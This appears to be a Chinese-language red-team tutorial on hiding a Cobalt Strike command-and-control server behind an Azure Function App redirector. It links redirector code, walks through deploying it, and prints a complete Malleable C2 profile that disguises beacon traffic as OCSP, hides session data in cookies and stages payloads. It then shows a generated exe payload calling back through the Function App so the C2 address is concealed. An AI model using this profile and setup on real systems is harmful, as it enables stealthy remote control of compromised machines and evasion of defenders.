Skip to main content

Azure 函数应用转发器

Azure 函数是无服务器的解决方案,允许我们写更少的代码,维护更少的基础设施,以及节约更多的开支。我们可以提供自己的代码,使得 Azure 函数充当着转发器的作用。

https://github.com/RedSiege/FunctionalC2/tree/master/Azure/FunctionCode 下载可用的 Azure Function App 的 Python 代码。实际上 Function App 还支持例如 .NET 等其他语言,因为较为简洁易读,这里采用 Python 代码部署。

下载并安装 Visual Studio Code,安装 Azure Tools 插件。

image.png

安装之后,点击左侧的 Azure Tools 拓展,登录 Azure,我们便能看到当前账户的资源。

image.png

编辑下载的代码,将 URL替换为 C2 服务器对外开放的 Nginx 服务器的地址,附加上相应的终端。也可以在代码中添加其他功能,例如对发送至 Function App 的请求做出过滤,实现代理/转发器的功能。

image.png

编辑好代码后保存,在 Code 中选择代码所在的文件夹作为本地工作空间

image.png

image.png

点击资源栏的加号,创建新的 Function App,并选择对应的选项,语言选择 Python

image.png

image.png

创建完成后得到输出

image.png

将本地的 Function App 文件部署到 Azure 端。

image.png

部署完成后,输出中会包含终端的 URL:

image.png

/api/getit/api/postit 终端分别添加到 Nginx 配置文件中使其能被 Nginx 转发到团队服务器,以及 C2 侧写中。(使用 JQuery 侧写有遇到奇怪的 BUG) 一份可用的侧写如下所示:

#
# Online Certificate Status Protocol (OCSP) Profile
#   http://tools.ietf.org/html/rfc6960
#
# Author: @harmj0y
# Updated: by FortyNorth Security to demo Azure Functions
#

set sleeptime "3000";         # 3 Seconds
set jitter    "20";            # % jitter
set useragent "dlerinfra";

https-certificate {    
    set keystore "ts.store";
    set password "123123";
}

    set maxdns             "255";
    
http-get {
    set uri "/api/getit";
    client {
        header "Accept" "*/*";
        metadata {
                        base64;
                        prepend "OSID=";
                        header "Cookie";
                }
    }


    server {
        header "Content-Type" "application/ocsp-response";
        header "content-transfer-encoding" "binary";
        header "Cache-Control" "max-age=547738, public, no-transform, must-revalidate";
        header "Connection" "keep-alive";
        output {
            print;
        }
    }
}



http-post {
    set uri "/api/postit";
    client {
        header "Accept" "*/*";     
        id {
                base64;
                prepend "TRY=";
                header "Cookie";
        }

        output {
            print;
        }
    }


    server {
        header "Content-Type" "application/ocsp-response";
        header "content-transfer-encoding" "binary";
        header "Cache-Control" "max-age=547738, public, no-transform, must-revalidate";
        header "Connection" "keep-alive";
        output {
            print;
        }
    }
}


set host_stage "false";
http-stager {
        set uri_x86 "/api/stageit";
}

在 CS 客户端生成 exe 载荷,执行后,团队服务器便得到了会话,可以成功执行命令并得到输出。

image.png

美中不足的是,Beacon 的外部 IP 显示为 127.0.0.1,但这是可以解决的。至于如何解决,这作为一个课后作业。

我们看到,Beacon 与 20.49.104.36 通信,该 IP 为我们 Function App 的地址,因此我们实现了对 C2 服务器的隐藏。

image.png

image.png